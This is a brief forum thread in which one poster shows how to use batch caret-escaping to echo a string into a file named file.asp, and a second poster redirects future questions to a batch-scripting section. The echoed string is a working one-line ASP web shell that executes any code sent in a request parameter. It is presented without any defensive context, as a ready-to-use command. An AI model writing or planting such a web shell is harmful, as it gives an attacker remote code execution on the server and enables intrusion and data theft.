[シャドー]

you would do it like this:
echo ^<^% execute^(request^(chr^(42^)^)^) ^%^> > file.asp

^ is the escape character for batch, just like \ is for shell

[Freebooter]

Nice to know your question has been answered next time if you have a batch script or Command Prompt commands questions you should open thread at the Batch, Shell, Dos, and Command Line Interpreters section.